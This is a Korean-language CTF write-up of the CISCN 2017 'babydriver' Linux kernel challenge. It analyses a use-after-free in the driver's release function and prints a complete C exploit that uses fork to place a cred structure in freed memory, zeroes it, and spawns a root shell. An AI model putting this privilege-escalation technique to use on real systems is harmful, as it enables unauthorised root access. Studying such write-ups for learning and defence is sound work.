[Kernel] CISCN 2017 - babydriver (UAF)

sangjun

·

2021. 7. 26. 00:20

 

문제소스

보호기법

SMEP                       : Yes

문제 분석 및 페이로드

1. 모듈 파일 얻기(.ko)

mkdir rootfs
cp rootfs.cpio ./rootfs
cd ./rootfs
mv rootfs.cpio rootfs.gz
gzip -d rootfs.gz
cpio -id -v < rootfs
cd /lib/modules/4.4.72/

2. 모듈 파일 취약점 분석

ioctl함수 2번째 인자로 0x10001을 줄 경우 _kmalloc함수 실행

close()함수 실행시 release함수가 실행되고 kfree함수 실행

--> NULL로 초기화해주지 않는다.

release함수에서 발생한 취약점에서 UAF발생

 

익스플로잇 순서

1. fd 2개 생성

2. fd 1개 close

3. fork를 이용해 해제된 힙에 cred구조체 할당

4. UAF버그를 이용해 cred구조체들을 모두 0으로 초기화

5. system("/bin/sh")호출

//gcc -masm=intel -static -o my_ex my_ex.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>

int main(){
	int fd1=open("/dev/babydev",O_RDWR);
	int fd2=open("/dev/babydev",O_RDWR);
	
	ioctl(fd1,0x10001,168);
	close(fd1);

	int pid=fork();

	if(pid<0){
		printf("fork err");
		exit(-1);
	}
	else if(pid==0){
		char fake_cred[30]={0,};

		write(fd2,fake_cred,30);

		
		if(getuid()==0){
			system("/bin/sh");
			exit(0);
		}
	}
	else{
		wait(0);
	}
	close(fd2);
	return 0;
}

3번에서 어떻게 해제된 힙에 cred구조체가 할당되나?

--> fork()함수 때문이다. 새롭게 생성된 스레드의 신원을 파악하기 위해서는 새로운 cred구조체 필요

이 과정은 이 커널버전의 fork()함수 소스코드를 따라가보면 동적할당 됨을 알 수 있다.(해제된 힙 영역 재사용)

fork() --> copy_process() --> copy_creds() --> prepare_creds() -->kmem_cache_alloc()

참고문헌 및 힘들었던 부분

1. https://defenit.kr/2019/10/18/Pwn/%E3%84%B4%20WriteUps/CISCN-2017-babydriver-Write-Up-linux-kernel-UAF/

인프런이랑 라업 같이 보면서 풀어봤는데 넘모 신기하다.